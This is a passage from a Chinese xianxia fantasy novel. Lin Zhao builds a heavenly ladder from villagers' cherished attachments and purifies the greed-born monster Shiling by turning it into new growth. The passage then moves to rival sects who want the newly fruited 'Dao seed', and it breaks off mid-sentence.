“但现在,有一条生路。”秦长老指向林照,“这位林姑娘,有办法建造‘通天梯’,借天力镇压魔物。但建梯需要‘牵挂’为阶——需要诸位心中,最想守护的东西,分出一缕给她。”
“什么叫……分出一缕牵挂?”一个村民怯生生地问。
林照走上高台,接过话头:“比如,你想守护你的家,守护你的孩子,守护门口那棵老槐树——你把这份心意,想象成一缕光,从心里取出来,交给我。我会用这缕光,铺成登天的台阶。”
她顿了顿:“作为回报,我会赠你一捧能救活土地的灵土。哪怕家园被毁,有了这捧土,你也能在别处重新开始。”
人群安静下来。
这个交换,听起来公平,甚至慷慨。但真要取出“牵挂”,谁都犹豫——那毕竟是最私密的情感。
“我先来。”
一个声音打破沉默。
众人看去,是个流云宗的年轻弟子,约莫十七八岁,脸上还带着稚气。他走到台前,看着林照:“我娘在我十岁那年病死了,临走前,她摸着我的头说:‘娃,以后要好好活。’这些年,我每次快撑不住的时候,就想起这句话。”
他闭上眼,双手交叠在胸前。
片刻后,一缕微弱的、几乎看不见的白光,从他心口缓缓飘出。白光很淡,却异常纯净,像晨雾,像初雪,像母亲临终前最后的气息。
白光飘向林照。
林照伸出手,掌心托着《云海图》。画纸上的云海微微波动,将那道白光吸入其中。
与此同时,年轻弟子感到心里空了一小块——不是失去,而是释然。仿佛多年的执念,终于找到了安放之处。
林照将一个小布袋递给他:“谢谢。”
年轻弟子接过布袋,眼眶红了。他退到一边,小心翼翼地把布袋揣进怀里,像揣着一个新的希望。
有了第一个,就有第二个。
一个老农走上前:“我守护我家那三亩水田,守了四十年。田埂上的每一块石头,我都摸过……”
一缕土黄色的光飘出,沉甸甸的,像成熟的麦穗。
接着是个妇人:“我守护我女儿的笑容。她先天体弱,但每次笑,都像太阳出来……”
一缕粉色的光,温暖柔软。
一个孩子:“我守护我养的小兔子……”
一缕浅绿色的光,生机勃勃。
越来越多的人走上前。
白色的、黄色的、粉色的、绿色的、蓝色的……各种颜色的光,从不同人的心口飘出,汇向《云海图》。画纸上的云海越来越生动,天梯的轮廓也越来越清晰。
林照站在台中央,感受着这些纷至沓来的牵挂。
她看见无数画面:破旧的茅屋、丰收的稻田、孩子的笑脸、老人的皱纹、新婚的红烛、病榻前的汤药……这些最平凡的人间烟火,此刻化作最坚固的愿力,在她手中汇聚。
她的眼眶湿了。
原来,人世间有这么多值得守护的东西。
原来,平凡人的牵挂,可以如此厚重。
阿茸一直站在她脚边。每一缕光飘来,它都会轻轻“咩”一声,金角微微发亮,将光中可能掺杂的负面情绪净化掉。有些光里藏着不甘,有些藏着怨恨,有些藏着恐惧——这些都被阿茸温柔地剥离、消解,只留下最纯粹的“守护之心”。
一个时辰过去,画纸上的天梯已经显现出十级台阶的虚影。
虽然还很模糊,但确确实实存在。
秦长老激动得手在颤抖:“有用……真的有用!”
可就在这时——
“砰!”
湖心处,冰面突然炸裂!
一个巨大的冰窟窿出现在泉眼上方,黑气如火山喷发般冲天而起!黑气中,隐约可见噬灵那密密麻麻的眼睛在闪烁,在寻找,在锁定——
它的目标,是台上正在收集愿力的林照。
“它感应到了!”沈不言拔剑,“愿力是它最讨厌的东西——因为愿力代表‘满足’,而它永远‘饥饿’!”
黑气化作一只巨手,抓向高台。
“结阵!”秦长老大喝。
流云宗弟子立刻布下防御剑阵,剑气纵横,试图挡住黑气巨手。但噬灵的力量太强,
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剑阵只支撑了三息就轰然破碎!
巨手继续抓下。
千钧一发之际,沈不言动了。
他没有斩向巨手,而是斩向自己——剑锋划过左臂,鲜血喷涌而出。鲜血在空中化作一道血符,符上剑气凛然,直射向黑气巨手的掌心!
“嗤!”
血符没入黑气,爆发出刺目的红光。巨手动作一滞,掌心处出现一个碗口大的空洞——空洞边缘,血符的剑气在疯狂侵蚀黑气。
噬灵发出痛苦的尖啸,巨手缩回冰窟窿。
但它没有放弃。
冰面下,更多的黑气在汇聚,在酝酿下一波攻击。
而高台上,愿力收集被迫中断。村民们惊恐地四散奔逃,场面一片混乱。
林照死死护住《云海图》——画纸上,刚刚凝聚的十级台阶虚影正在波动,似乎随时可能消散。
“不行……”她咬牙,“还差得远!”
十级台阶,连湖面都够不到,更别说登天了。
就在绝望之际,一个苍老的声音忽然从人群后方传来:
“丫头,接着。”
林照转头,看见一个佝偻的老者拄着拐杖走来。老者很老,脸上皱纹深如沟壑,眼睛浑浊,但眼神异常清明。
他走到台前,从怀里取出一块玉佩。
玉佩呈青灰色,上面刻着古老的纹路——和镇魔剑上的山川纹路,一模一样。
“这是……”林照瞳孔一缩。
“镇渊子留下的信物。”老者缓缓道,“我是他第三十七代孙,姓秦。”
秦长老浑身一震:“三叔公?!您……您不是三十年前就……”
“死了?”老者笑了笑,“对外是这么说。其实我一直隐居在村里,守着这道门,等该来的人。”
他看向林照:“丫头,你拔了镇魔剑,收了万人愿力,你就是镇渊子等的那个人。”
他将玉佩按在《云海图》上。
玉佩触画瞬间,爆发出浩瀚如海的青光!青光中,无数古老的记忆碎片涌入画纸——那是镇渊子当年布阵时的全部感悟,是他对这片水土千年的牵挂,是他未竟的遗憾与希望。
画纸上的天梯虚影,骤然凝实!
十级、二十级、三十级……眨眼间,百级台阶显现,从画纸上延伸而出,直插云霄!
台阶晶莹剔透,每一级都映照着不同的人间景象:麦田、炊烟、溪流、孩童、老人、飞鸟……那是刚才收集到的所有牵挂,此刻被镇渊子的千年愿力催发,终于显化成形。
天梯,成了!
虽然只有百级,虽然还不够高,但确确实实是通往天上的阶梯。
所有人都惊呆了。
秦长老看着老者,嘴唇颤抖:“三叔公,您为什么不早说……”
“早说有用吗?”老者摇头,“没有能拔剑的人,没有能聚愿的心,我说了也只是徒增烦恼。但现在——”
他看向林照,眼神欣慰:“你来了。所以,时候到了。”
话音刚落,湖心冰窟窿再次炸开!
这一次,噬灵的本体终于钻了出来——不是之前的黑雾形态,而是一团由无数眼睛和嘴巴组成的、不断蠕动变化的肉山。肉山高十丈,宽五丈,所过之处,冰面融化,湖水沸腾,灵气被疯狂吞噬。
它盯上了天梯。
更准确地说,盯上了天梯上那些代表“满足”与“牵挂”的愿力。
那是它最恨的东西。
“饿……吃了……全部吃了……”
肉山上千张嘴巴同时开合,发出震耳欲聋的嘶吼。
秦老者面色凝重:“丫头,天梯已成,但还需要人登上去,将天梯‘种’进虚空,才能真正引动天力。这个人,必须心无杂念,只有纯粹的守护之心。”
他看向林照:“你去,还是我去?”
林照握紧镇魔剑:“我去。”
“好。”秦老者将玉佩塞进她手里,“这个能护你心神。记住,登天梯不是往上爬,是‘走进去’。走进那些牵挂里,走进那些人间烟火里,走到最后,你自然会知道该怎么做。”
林照点头。
她转身,看向沈不言。
沈不言也在看她,剑已出鞘,眼神坚定:“我护你登梯。”
“嗯。”
没有多余的话,也不需要。
林照踏上第一级台阶。
台阶触脚温润,像踩在晒谷观被太阳晒暖的石板上。台阶上浮现出画面:是她小时候,老谷头教她认麦苗。
她继续往上走。
第二级:阿茸第一次蹭她手心。
第三级:暴雨中观雨悟道。
第四级:玄霄阁试炼,她扶起跌倒的陌生人。
第五级:沈不言为她挡箭。
第六级、第七级、第八级……
每一级台阶,都是她生命中的一个片段,一个牵挂,一个“为什么而活”的理由。
她越走越高,离地面越来越远。
下方,噬灵的肉山正在疯狂撞击天梯的基座。沈不言、陈砚、李慕云、秦长老、流云宗所有弟子,都在拼命阻挡。剑气纵横,符箓飞舞,鲜血飞溅。
但林照没有回头。
她不能回头。
她继续走,走到第五十级时,台阶上的画面变了——不再是她的记忆,而是刚才那些村民的记忆。
老农的水田,妇人的女儿,孩子的兔子,还有无数陌生人的笑脸、泪水、希望。
这些画面包裹着她,托举着她,温暖着她。
原来,她不是一个人在登梯。
是千万人的牵挂,在送她上天。
走到第九十九级时,她停住了。
前方,是第一级台阶。
不是往上,是往“里”。
台阶尽头,不是天空,而是一扇门——扇由无数人间烟火编织成的、温暖光明的门。
门后有什么?
她不知道。
但她知道,门后一定有“答案”。
关于如何镇压噬灵,如何守护这片水土,如何让所有平凡而珍贵的牵挂,得以延续的答案。
她深吸一口气,迈出最后一步。
踏入门中。
28. 人间门内
门外是厮杀,门内是寂静。
林照踏入“人间门”的瞬间,所有声音都消失了。没有剑气破空,没有噬灵嘶吼,没有冰层碎裂——只有一片温柔的白光,包裹着她,像初春的晨雾,像晒谷观傍晚的炊烟。
白光渐渐散去,显露出门内的景象。
这是一间简陋的草庐。
茅草为顶,竹竿为柱,黄土夯地。庐内只有一桌一椅一榻,桌上摆着一盏油灯,灯焰如豆,静静燃烧。榻上坐着一个人——或者说,一道虚影。
那是个中年道人,青衣布履,面容清癯,眼神温和却深邃。他正在编一只草鞋,手指灵巧地翻动着麦秸,动作娴熟得像个老农。
看见林照进来,他抬起头,微微一笑:“来了?”
声音平和,带着些许疲惫,却有种奇异的安定力量。
林照握紧镇魔剑的剑柄:“您是……镇渊子前辈?”
“一道残念罢了。”道人放下草鞋,指了指对面的竹凳,“坐。走了九十九级台阶,累了吧?”
林照依言坐下。竹凳冰凉,触感真实——这让她有些恍惚:这里究竟是幻境,还是某种真实存在的空间?
“是真是幻,重要吗?”道人像是看穿了她的心思,端起桌上的陶壶,给她倒了一碗水,“喝了这碗水,你就明白了。”
碗是粗陶碗,水是清水,清澈见底。
林照端起碗,一饮而尽。
水入喉的瞬间,无数画面涌入脑海——
她看见千年前的落星山,年轻时的镇渊子正在山间开垦荒地。他没有用法术,而是像普通农夫一样,一锄头一锄头地翻土,汗水浸透了粗布衣衫。他种的不是灵草,是麦子。
她看见镇渊子坐在田埂上,看着麦苗抽穗,眼里有光。他对身边的同伴说:“你看,万物生长,才是天地间最大的道理。修仙修到最后,不也就是想活得久一点,多看几眼这好风景?”
同伴是个沉默寡言的剑修,闻言只是点头。
后来,他们发现了地底的“空腔”。
起初以为是上古遗迹,下去探查,却遭遇了那团混沌的“饥饿”。剑修拔剑就斩,剑气纵横,却如泥牛入海——那东西没有实体,斩不断,杀不死,只会被激怒。
再后来,镇渊子查阅古籍,终于明白那是什么。
“那不是魔物。”画面中,镇渊子对剑修说,“是‘贪’。上古有修士为求长生,将自身所有欲望剥离,七情六欲各自成灵——这是‘贪欲’所化,永远吃不饱的怪物。”
剑修问:“能灭吗?”
“灭不了。”镇渊子摇头,“贪欲是人心的一部分,只要人还有欲望,它就永远不会彻底消失。我们能做的,只有封印。”
于是有了镇渊门,有了天地树为钥,有了以血肉为祭的封印大阵。
阵成那日,剑修站在阵外,看着镇渊子坐化。
“值得吗?”剑修问。
镇渊子笑了笑:“我守的不是天下苍生,是这片麦田,是春天会开的野花,是秋天会落的叶子。这些平凡的东西,值得。”
剑修沉默良久,最后说:“我会替你守着。直到下一个愿意为麦田拔剑的人出现。”
画面到此中断。
林照睁开眼,发现自己泪流满面。
那道清癯的虚影——镇渊子的残念——正静静看着她。
“明白了?”他问。
林照点头,又摇头:“明白了噬灵的来历,不明白……怎么彻底解决它。如果贪欲永不消失,封印又能撑多久?”
“撑不了多久。”镇渊子说,“所以我留下了三样东西:镇魔剑、养灵土、通天梯。剑可伤它,土可养地,梯可借天力——但这些都是治标不治本。”
他顿了顿,眼神变得深邃:“治本的方法,只有一个:有人愿意献出自己的‘全部贪欲’,喂给它吃。”
林照心头一震:“以毒攻毒?”
“对。”镇渊子说,“噬灵之所以永远饥饿,是因为它本身是残缺的——它只有‘贪’,没有‘饱’的概念。如果有人愿意将自己的贪欲全部献出,融入它的核心,它就能短暂地‘饱’一次。那一瞬间,它会停滞,会满足,会露出破绽。届时,用镇魔剑刺入它的核心,配合天梯引下的天力,或许……能将它打回原形,重新封入地脉深处。”
“献出全部贪欲的人会怎样?”
“会死。”镇渊子说得平静,“不是肉身消亡,是‘人格’死亡。失去所有欲望的人,就不再是‘人’了,只是一具会呼吸的空壳。而且这个过程不可逆——贪欲是人性的一部分,剥离了就再也长不回来。”
林照沉默了。
这个方法,太残酷。
“那个人选,”她艰难地问,“是谁?”
镇渊子看向草庐外——那里没有景物,只有一片流动的白光。但林照知道,他在看门外的世界。
“当年我的同伴,那位剑修,他的后人一直守在这里。”镇渊子说,“千年传承,代代相传,等待那个能拔剑的人出现。如今你来了,他的使命也就完成了——他是最合适的人选。”
“为什么是他?”
“因为他的血脉里,有我当年布阵时留下的印记。”镇渊子说,“他的贪欲,对噬灵来说是最熟悉、也最美味的食物。用他来喂,成功率最高。”
林照握紧拳头:“可他没有义务……”
“他有。”镇渊子打断她,“他的祖先答应过我,会守到最后一刻。这是誓言,是传承,也是……解脱。”
话音落下,草庐开始晃动。
不是地震,是整个空间在波动——门外的厮杀,正在影响这里的稳定。
“时间不多了。”镇渊子站起身,“丫头,你必须做出选择:是牺牲他,换取镇压噬灵的机会;还是另寻他法,但风险更大,可能所有人都活不成。”
他走到林照面前,伸手按在她肩上。
触感虚无,却沉重如山。
“记住,”他说,“无论选什么,都不要后悔。修仙路上,最无用的是后悔,最有用的……是往前走。”
说完,他的虚影开始淡化,像晨雾遇见了阳光。
草庐也在淡化,桌椅床榻化作流光,汇入林照手中的镇魔剑。剑身微微发烫,剑脊上的山川纹路亮起柔和的光——那是镇渊子最后的力量,他在用自己的残念,为这把剑做最后一次加持。
最后时刻,镇渊子看向林照,眼神里有一丝欣慰:
“你身上的麦香,很好闻。我的麦田……后继有人了。”
光影彻底消散。
林照重新站在一片白光中,手中镇魔剑光芒流转。前方,人间门的出口正在缓缓打开,门外是血与火的战场。
她深吸一口气,握紧剑柄,迈步走出。
门外,已是地狱景象。
天梯的百级台阶还悬浮在半空,但基座处已被噬灵的肉山团团围住。无数眼睛和嘴巴从肉山上伸出,疯狂啃咬着台阶的边缘。每啃一口,台阶就暗淡一分,上面浮现的人间景象就模糊一分。
沈不言浑身是血,左肩的伤口再次崩裂,黑气重新开始蔓延。但他依然站在天梯最下方的一级台阶上,剑光如瀑,死死护住通往高处的路径。
陈砚和李慕云在稍远处,与秦长老带领的流云宗弟子结阵,试图从侧面牵制噬灵。但肉山太庞大了,他们的攻击像石子投入大海,只激起微小的涟漪。
最惨烈的是秦老者。
那位自称镇渊子三十七代孙的老人,此刻正站在天梯基座正前方,双手结印,口中念念有词。他的身体在燃烧——不是火焰,是寿元化作的金色光焰。光焰冲天而起,支撑着天梯不坠,但也以肉眼可见的速度消耗着他的生命。
他本就苍老,此刻更是形销骨立,皮肤紧贴着骨头,眼窝深陷,只有那双眼睛依然清明。
“三叔公!”秦长老嘶吼着想要冲过去,却被噬灵伸出的触手拦下。
秦老者没有回头,只是厉喝:“守好阵法!别让我白死!”
话音未落,噬灵肉山上一张巨口突然张开,喷出一道漆黑的光柱,直射秦老者!
光柱所过之处,空间都在扭曲。
秦老者不闪不避,反而张开双臂,迎向光柱。
“以我残躯,镇此贪魔——”
他念出最后一句咒文,金色光焰骤然暴涨,与黑色光柱撞在一起!
“轰!!!”
巨响震天。
金色与黑色的光芒混杂、撕扯、湮灭。爆炸的中心,秦老者的身影彻底消失,化作漫天金色光点,洒落在天梯基座上。
基座原本已被啃噬得摇摇欲坠,此刻得到金色光点的补充,竟重新稳固下来,甚至向外扩张了一圈,将噬灵的肉山逼退了三尺。
但代价是,一位守护了千年的传承者,魂飞魄散。
“三叔公!!!”秦长老跪倒在地,老泪纵横。
林照从人间门走出时,看到的正是这一幕。
她心脏像被狠狠攥紧,疼得几乎窒息。
但她没有时间悲伤。
因为噬灵已经注意到了她的出现——更准确地说,注意到了她手中那把光芒流转的镇魔剑。
肉山上,所有眼睛齐刷刷转向她。
所有嘴巴,同时吐出同一个音节:
“饿……”
不是嘶吼,是渴求,是贪婪,是看见最美味的食物时的本能反应。
它想要这把剑。
更想要握剑的人。
林照站在第九十九级台阶上,俯瞰下方战场。她看见了沈不言浴血的身影,看见了陈砚和李慕云苍白的脸,看见了秦长老跪地痛哭,看见了流云宗弟子们绝望却仍在坚持的眼神。
她也看见了,冰封的湖面正在龟裂,黑气从裂缝中不断涌出——噬灵的本体,正在彻底挣脱封印。
时间,真的不多了。
“林照!”沈不言抬头看见她,嘶声喊道,“找到办法了吗?!”
林照点头,又摇头。
她找到了办法,但那办法……太残忍。
“需要一个人献出全部贪欲。”她高声说,声音在战场上传开,“用贪欲喂饱噬灵,制造破绽,再用镇魔剑和天梯之力,将它重新封印。”
所有人都愣住了。
献出贪欲?那不就是……变成行尸走肉?
“谁来献?”陈砚问出了关键问题。
林照看向秦长老。
镇渊子说,剑修的后人一直守在这里。秦老者姓秦,秦长老也姓秦——答案已经很明显了。
秦长老也意识到了。他缓缓站起身,擦干眼泪,眼神从悲痛转为决绝:“是我,对吗?三叔公守了三十年,我父亲守了五十年,我爷爷守了七十年……秦家世代守护这道门,等的就是今天。”
他走向天梯基座,步伐坚定。
“长老!”有弟子想要阻拦。
秦长老摆摆手:“别拦我。这是我的命,也是秦家的使命。千年了……该有个了断了。”
他走到基座前,抬头看向林照:“林姑娘,告诉我该怎么做。”
林照握剑的手在颤抖。
她看着这位老人——三天前,他还是流云宗威严的长老,为宗门利益斤斤计较。但现在,他为了守护这片水土,愿意献出自己的人格。
“您……”她声音哽咽,“您还有什么未了的心愿吗?”
秦长老想了想,笑了:“有。我孙子今年五岁,最爱吃镇东头王婆做的糖糕。以后……怕是吃不到了。林姑娘,如果这事了了,你能替我买一块,放在他窗台上吗?就说是爷爷买的。”
林照用力点头:“我一定。”
“那就够了。”秦长老闭上眼,“来吧。”
他张开双臂,像是要拥抱什么。
林照举起镇魔剑,剑尖指向秦长老的心口。按照镇渊子传授的方法,她需要以剑为引,将秦长老的贪欲剥离出来,化作“饵食”。
剑光开始凝聚。
可就在这时——
“等等!”
一个声音突然从流云宗弟子中传出。
众人循声看去,是个年轻弟子——正是之前第一个献出牵挂的那个少年。他脸色苍白,却咬着牙走上前。
“长老,让我来。”少年说,“您还有孙子要照顾,我没有。我娘死了,爹不要我,我在这世上……没什么牵挂了。贪欲什么的,我不要了也无所谓。”
秦长老睁开眼,厉声道:“胡闹!退下!”
“我没胡闹!”少年跪下来,眼泪涌出,“长老,这些年,您教我修行,教我做人,给我饭吃,给我衣穿……您就像我爹一样。我这条命是您给的,现在还给您,天经地义!”
他说着,转向林照:“林姑娘,我的贪欲……应该比长老的更纯粹吧?我年轻,我想要的东西可多了:我想筑基,想结丹,想成为人人敬仰的大修士,想让我那个不要我的爹后悔……这些贪欲,够不够喂它?”
林照愣住了。
她没想到,这个看似怯懦的少年,竟有如此勇气。
更没想到的是,随着少年站出来,又有几个弟子走上前:
“我也来!我贪财,贪了三十年,攒了一屋子灵石……”
“我贪名,做梦都想当长老……”
“我贪色,见了漂亮姑娘就走不动道……”
一个,两个,三个……短短几息,竟有十几人站了出来。
他们修为不高,身份卑微,有的甚至只是杂役弟子。但此刻,他们眼神坚定,愿意献出自己最私密的贪
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欲,换取一线生机。
秦长老看着这些弟子,嘴唇颤抖,说不出话。
沈不言忽然开口:“不够。”
所有人看向他。
“十几人的贪欲,喂不饱它。”沈不言说,“噬灵吞噬了千年,胃口太大了。需要更多——多到足以让它‘撑’的程度。”
“那怎么办?”李慕云焦急道,“难道要所有人都……”
“或许不需要。”林照忽然说。
她看向手中的镇魔剑,又看向天梯上那些浮现的人间景象——麦田、炊烟、孩童、老人……
一个念头,在她心中萌芽。
“镇渊子前辈说,噬灵是贪欲所化,永远饥饿。”她缓缓道,“但‘饱’是什么?是‘够了’,是‘满足’,是‘不再想要更多’。如果我们能给它看……看那些‘已经够了’的画面,看那些‘即使一无所有也依然幸福’的瞬间,它会不会……也能感受到一点点‘饱’?”
这个想法,太天真,太理想化。
但不知为何,所有人都觉得,或许……可以一试。
因为晒谷观本身,就是“够了”的证明——老谷头放弃飞升,只因舍不得麦香;林照拒绝玄霄阁,只因想问云上有没有花;沈不言为她挡箭,只因觉得“值得”……
这些人,这些事,都在诠释同一个道理:
贪欲无尽,但人心有岸。
“那就试试。”沈不言说,“用天梯上这些‘牵挂’,这些‘人间烟火’,喂它看。”
林照点头。
她再次举起镇魔剑,但这次,剑尖不是指向任何人,而是指向天梯本身。
剑光如水,流淌过每一级台阶。
台阶上那些人间景象,在剑光的催动下,开始活过来——
麦田里,老农抚摸沉甸甸的麦穗,脸上露出满足的笑。
灶台前,妇人给女儿喂粥,女儿咧嘴笑,漏出两颗门牙。
屋檐下,老人摇着蒲扇,看夕阳西下,眼神安宁。
学堂里,孩童摇头晃脑背书,先生捋须点头。
这些画面,从台阶上飘起,化作无数光点,汇成一道温暖的光河,流向噬灵的肉山。
噬灵最初是贪婪地吞噬——它以为这是新的食物。
但吞下去后,它僵住了。
因为它感受到的不是欲望,不是饥饿,不是“我还要”——而是“我有了,我很幸福,我不需要更多了”。
这种感受,对它来说太陌生,太诡异,太……难以理解。
肉山开始剧烈颤抖,无数眼睛瞪大,无数嘴巴张开,发出混乱的嘶吼:
“不……不是……饿……”
“饱?什么是饱?”
“为什么……不想要了?”
它在挣扎,在困惑,在抗拒。
林照看准时机,纵身跃下天梯,镇魔剑高举过头,剑尖对准肉山核心处——那里,是所有眼睛和嘴巴汇聚的源头。
“就是现在!”沈不言暴喝,剑气全力爆发,为她开辟道路。
陈砚和李慕云也同时出手,符箓与法宝齐飞,轰向肉山两侧。
秦长老带领弟子,结阵压制黑气。
所有人,都在为这一剑创造机会。
林照的剑,落下。
没有惊天动地的声势,只有一道温润的青光,像春雨,像晨露,悄无声息地没入肉山核心。
剑入三寸,停住了。
不是被挡住,是林照自己停的。
因为在最后一刻,她看见了——肉山核心深处,不是混沌的黑暗,而是一点微弱的、颤抖的……光。
那是人性的光。
是千年来被吞噬的无数修行者,残留在贪欲中的最后一点“自我”。
他们被贪欲腐蚀,被饥饿同化,但内心深处,依然渴望“饱”,渴望“满足”,渴望回到人间,看一眼麦田,闻一口炊烟。
这一点光,让林照的剑,无法斩下。
她忽然明白:噬灵不是纯粹的恶,它是人性的阴暗面,是被剥离放大的贪欲。杀死它,等于杀死了人性的一部分。
可不杀,它又会继续吞噬,制造更多悲剧。
怎么办?
剑停在半空,时间仿佛凝固。
所有人都在看着她,等待她的决定。
而林照看着那点微光,看着光中映出的无数张模糊的脸,看着他们眼中最后的不甘与渴望——
她做出了选择。
不是斩,也不是放。
是……“种”。
像把麦种种进地里,像把树苗埋进土中,像把希望,种进绝望里。
镇魔剑在她手中,从“剑”化作了“锄”。
她开始“锄地”。
不是锄肉山,是锄那些缠绕在人性微光上的、厚重的贪欲淤泥。一锄,一锄,又一锄,小心翼翼,温柔坚定。
每锄开一点淤泥,那点微光就亮一分。
噬灵在尖叫,在挣扎,但它动不了——天梯上流淌下来的人间烟火,像最温柔的枷锁,将它牢牢束缚。
淤泥越来越少,微光越来越亮。
终于,最后一层淤泥被锄开。
核心处,那点微光彻底绽放——不是刺目的强光,而是温暖的、柔和的、像晒谷观黄昏时灶火的光。
光中,无数人影浮现。
他们对着林照,躬身一礼。
然后,光开始收缩,凝聚,最终化作一颗拳头大小的、晶莹剔透的……种子。
种子落地,没入冰层。
下一秒,冰层之下,有绿芽破土而出。
不是一株,是无数株——麦苗、野草、藤蔓、花苞……凡是在落星谷曾经生长过的植物,此刻都在疯狂生长,瞬间覆盖了整个湖面,将噬灵的肉山彻底包裹、缠绕、分解。
肉山在消融,不是被杀死,是被“净化”——那些贪欲化作养分,滋养着新生的植物。
短短十息,噬灵消失不见。
取而代之的,是一片覆盖湖面的、生机勃勃的绿野。
绿野中央,一株小树苗正在抽枝——那是天地树的幼苗,从噬灵的核心处长出,以贪欲为土,以人性微光为露,开始了新的生长。
林照脱力地跌坐在地,镇魔剑插在身旁,剑身暗淡,似乎耗尽了所有力量。
她看着眼前这片奇迹般的绿野,看着那些在风中摇曳的麦苗和野花,看着那株小小的天地树苗……
她笑了。
笑着笑着,眼泪掉下来。
原来,镇魔不是杀,是救。
是给迷失的贪欲,一个重新生长的机会。
远方,朝阳升起。
第一缕阳光照在绿野上,露珠晶莹,万物苏醒。
新的一天,开始了。
29. 道种风波
绿野覆盖湖面的第七日,林照醒了。
她睁开眼时,发现自己躺在晒谷观的木床上。阳光透过窗棂,在泥地上投下斑驳的光影。灶房传来煮粥的咕嘟声,麦香混着草药的苦味,在空气里缓缓流淌。
阿茸趴在床边,见她醒来,立刻站起来,用温热的鼻子蹭她的手。
“我睡了多久?”林照声音沙哑。
“三天。”沈不言的声音从门外传来。他端着一碗药粥走进来,左肩缠着厚厚的绷带,动作还有些僵硬,但气色好了许多,“秦长老说你透支过度,神魂受损,至少要静养半月。”
林照撑着坐起来,接过药粥。粥里加了红枣和当归,甜中带苦,喝下去后,一股暖意从胃里蔓延开来,四肢百骸的酸痛都舒缓了些。
“落星湖那边……”
“暂时安稳了。”沈不言在她床边坐下,“那片绿野还在生长,已经蔓延到湖岸。流云宗的弟子在四周布了警戒,不许外人靠近。秦长老说,那株天地树苗长得很快,三天已经抽了七片叶子。”
林照松了口气,又问:“陈砚和李慕云呢?”
“回北地了。”沈不言说,“李家商号有急事,陈砚陪他一起回去。走前留了话,说三个月内必回,让你好好养伤。”
林照点点头,慢慢喝粥。阳光暖融融地照在身上,院子里的鸡在咯咯叫,远处传来孩童的嬉闹声——是晒谷观的孩子们。
一切都恢复了平常。
可林照心里清楚,有些东西,已经不一样了。
喝完粥,她下床走到院子里。
天地树又长高了一截,如今已有四丈余,树冠如云,遮住了半个院子。树根沿着地面蔓延,有些已经探进院墙,有些伸向远处的麦田。而被树根触碰过的麦子,果然比别处高出一头,麦穗沉甸甸的,压弯了麦秆。
阿茸跟在她脚边,忽然用角轻轻顶了顶她的腿。
“怎么了?”林照低头。
阿茸仰起头,琥珀色的眼睛看着她,然后转身走向天地树。它绕着树干走了三圈,最后停在一根低垂的枝桠前,仰头叫了一声:“咩——”
林照顺着它的视线看去,愣住了。
那根枝桠的末端,结着一颗果子。
果子不大,只有拇指大小,通体青翠,晶莹剔透,像玉雕的,又像清晨凝结的露珠。果皮薄如蝉翼,隐约可见果肉里流转着七彩的光晕——金、木、水、火、土,五行灵气在其中和谐交融,形成一种完美的平衡。
林照伸手,小心翼翼地将果子摘下来。
果子触手温润,散发着一种奇异的香气——不是花香,不是果香,而是一种更接近“道”的气息,纯粹、高远,却又扎根于最朴实的土地。
“这是……道种?”她喃喃自语。
《晒谷心经》里提过一句:天地树三百年一结果,果名“道种”,服之可补灵根缺陷,重塑道基。但这记载太过简略,老谷头在世时也说,那只是传说,没人真的见过。
可现在,道种就在她掌心。
而且,树才种下不到两个月。
“是因为噬灵的养分?”沈不言走过来,看着那颗果子,眉头微皱,“噬灵吞噬了千年灵气,又被净化,所有精华都滋养了这棵树。所以它才会长得这么快,这么快结果。”
林照点头,又摇头:“恐怕不止如此。”
她想起湖心绿野中那株新生的天地树苗——两棵树,一株在晒谷观,一株在落星湖,同根同源,却又各自独立。它们之间,会不会有某种感应?晒谷观这株提前结果,是不是湖心那株的影响?
正想着,院外忽然传来急促的马蹄声。
“林姑娘!林姑娘在吗?”
是秦长老的声音,透着焦急。
林照将道种收进怀里,迎出去。院门外,秦长老翻身下马,脸色凝重,身后还跟着三个流云宗弟子,个个风尘仆仆。
“出事了?”林照问。
秦长老喘着气,从怀里取出一张烫金的帖子:“玄霄阁……发来‘观礼帖’。七日后,东域七大宗门将齐聚落星湖,共赏‘天地神树’。”
他将帖子递给林照。
帖子制作精美,纸质如玉,上面用朱砂写着几行字:
“敬启晒谷观林照道友:
闻落星湖有神树现世,结道种,补灵根,实乃东域千年未有之盛事。玄霄阁、青云门、紫阳宗、碧水宫、赤焰谷、黄沙派、白虹山庄,七宗共议,定于七日后午时,于落星湖畔设‘品道宴’,邀道友携神树果实一观,共参大道。
望道友以苍生为念,勿吝赐教。
玄霄阁阁主凌霄子敬上”
帖子末尾,盖着七个宗门的掌门印鉴,朱红刺目。
林照看完,沉默良久。
“这是明抢。”沈不言冷声道,“什么‘共参大道’,不过是想逼你交出果子。”
秦长老苦笑:“何止是果子。这帖子里说的‘神树’,指的是湖心那株新生的天地树苗。七大宗门的意思很明白:要么你交出晒谷观这株树的道种,要么……他们就要动湖心那株树的主意。”
林照握紧帖子:“湖心那株树,现在如何?”
“还在长。”秦长老说,“已经有一丈高了,树冠展开三丈,覆盖了小半个湖面。周围的绿野也还在扩张,草木繁茂,灵气浓郁——比落星湖全盛时期还要强三分。这样的宝地,谁看了不眼红?”
确实。
天地树本就是传说之物,如今不仅现世,还一现就是两株,其中一株更是在众目睽睽之下,从噬灵核心长出,蕴含净化贪欲的神秘力量。这样的神树,足以让任何宗门疯狂。
“他们七日后到?”林照问。
“是。”秦长老说,“但我收到消息,有些宗门的人马已经在路上了。最多三天,落星湖周边就会聚集成百上千的修士。到时候……恐怕就不是‘观礼’那么简单了。”
林照看向怀里的道种。
这颗小小的果子,此刻像一块烧红的炭,烫手。
她可以服下它——以她驳杂的五废灵根,若能补全缺陷,重塑道基,修行之路将一片坦荡。从此不再需要靠《晒谷心经》这种偏门心法苦修,不再需要看人脸色,不再需要为一点灵气奔波。
可她若服了,七大宗门会罢休吗?
他们会相信只有一颗道种吗?还是会怀疑她私藏,进而搜刮晒谷观,甚至强夺湖心那株树?
而且……
她真的需要这颗道种吗?
老谷头曾说:“灵根只是船,道心才是桨。船破可补,桨折难行。”她这些年以五废之身修行,虽缓慢,却扎实。每一步都是自己走出来的,每一分感悟都来自田间地头、人间烟火。
若真服了道种,脱胎换骨,那她还是“林照”吗?
还是那个在晒谷观收麦子、在暴雨中观雨、在绝境里种希望的种地人吗?
“林姑娘,”秦长老见她沉默,忍不住劝道,“我知道你为难。但七大宗门势大,硬抗不得。不如……你就服了那颗道种,然后对外宣称只此一颗,已经用了。他们总不能剖开你的肚子检查。至于湖心那株树……我们可以谈条件,比如定期开放,让各宗弟子轮流感悟,收取一定灵石作为补偿——”
